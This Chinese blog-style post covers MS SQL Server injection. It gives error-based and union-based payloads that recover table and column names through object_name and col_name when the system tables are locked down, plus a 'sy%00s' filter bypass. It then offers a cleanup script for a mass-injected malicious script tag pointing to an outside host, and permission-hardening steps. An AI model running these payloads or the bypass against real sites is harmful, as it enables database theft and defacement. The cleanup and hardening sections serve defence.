感谢冰牛,现在内容千篇一律的sql注入文章满天飞,依然还能够发现新的注入技巧。
主要就两点,sysobjects表与syscolumns表都无select权限时,得到表名与列名。以前BLOG里写过, 要不是某黑客发来一我等小菜从没接触过的CFM程序的一个注入点让解决获取表名的难题,我都要忘了,顺便再重记一次。
sysobjects表没有权限。如何暴表?所有的表名都只存在了sysobjects表里,所以我们无法从别的地方得到表名。但是,大家有没注意 过sql server提供的object_name函数呢?它与object_id函数是相对应的,object_id会返回指定对象在数据库中的id值。而 object_name会返回指定ID所对应的数据库对象名,对于表来说自然就是表名了。
好了,现在只要得到所有的用户表的ID就可以得到表名了, 表的ID在很多地方都会存储,比如syscolumns表,
我们只要从syscolumns表里面取得表的ID,再利用object_name就可以得到表名了。
可以利用下面的语句得到表名,前提条件是syscolumns表有select 权限:
显错:
select 1 where 1=(select top 1 * from (select distinct(object_name(id)) as 'name' from syscolumns) as a where a.[name] not in(select distinct top 0 object_name(id) from syscolumns)) union:
select '1','2','3','4' union select top 1 1,3,[name],4 from (select distinct(object_name(id)) as 'name' from syscolumns) as a where a.[name] not in(select distinct top 0 object_name(id) from syscolumns) 上面的语句会将系统表也查出来。通过不停地变top 0就可以得到所有的表名了。当syscolumns表无权限的时候,可以借助其它的系统表,但是这样很有可能不能得到所有表的名字,看运气了。。只要其它 系统表里面出现了表的ID,就可以通过object_name函数来得到表名,下面从sysprotects这个系统表中获取ID来得到表名:
select object_name(id) from sysprotects 再谈syscolumns表无select权限时获取列名的方法,利用col_name函数,先利用上面的方法得到表的id,再利用:
select col_name(tableid,colindex) 就可以了。
具体情况具体分析了,朋友发来的这个CFM注点有个毛病,只要参数里面出现sys,就会自动跳回主页,不知道是什么防火墙还是程序内置的安全防护功 能,试了会最终绕过去了,将sys分拆成sy%00s就可以。至于%00为什么没有被截断,同时为什么没有被sql server当成是分隔符,,这我就不知道了,不是本菜鸟能研究出来的。
如何最快速度删除?
" <script src=http://3b3.org/c.js> </script> "
---------------------------------------------------------------
进入SQL查询分析器
选择你的数据库
第一步:先sql表修改所有者为dbo

EXEC sp_MSforeachtable 'exec sp_changeobjectowner ' '? ' ', ' 'dbo ' ' '
第二步:统一删除字段被挂的js

declare @delStr nvarchar(500)
set @delStr= ' <script src=http://3b3.org/c.js> </script> '
set nocount on
declare @tableName nvarchar(100),@columnName nvarchar(100),@tbID int,@iRow int,@iResult int
declare @sql nvarchar(500)
set @iResult=0
declare cur cursor for
select name,id from sysobjects where xtype= 'U '
open cur
fetch next from cur into @tableName,@tbID
while @@fetch_status=0
begin
declare cur1 cursor for
--xtype in (231,167,239,175,35) 为char,varchar,nchar,nvarchar,text类型
select name from syscolumns where xtype in (231,167,239,175,35) and id=@tbID
open cur1
fetch next from cur1 into @columnName
while @@fetch_status=0
begin
set @sql= 'update [ ' + @tableName + '] set [ '+ @columnName + ']= replace([ '+@columnName+ '], ' ' '+@delStr+ ' ' ', ' ' ' ') where [ '+@columnName+ '] like ' '% '+@delStr+ '% ' ' '
exec sp_executesql @sql
set @iRow=@@rowcount
set @iResult=@iResult+@iRow
if @iRow> 0
begin
print '表: '+@tableName+ ',列: '+@columnName+ '被更新 '+convert(varchar(10),@iRow)+ '条记录; '
end
fetch next from cur1 into @columnName
end
close cur1
deallocate cur1
fetch next from cur into @tableName,@tbID
end
print '数据库共有 '+convert(varchar(10),@iResult)+ '条记录被更新!!! '
close cur
deallocate cur
set nocount off
---------------------------------------------------------------
彻底杜绝SQL注入
1.不要使用sa用户连接数据库
2、新建一个public权限数据库用户,并用这个用户访问数据库
3、[角色]去掉角色public对sysobjects与syscolumns对象的select访问权限
4、[用户]用户名称-> 右键-属性-权限-在sysobjects与syscolumns上面打“×”
5、通过以下代码检测(失败表示权限正确,如能显示出来则表明权限太高):

DECLARE @T varchar(255),
@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
Select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype= 'u ' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN print @c
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor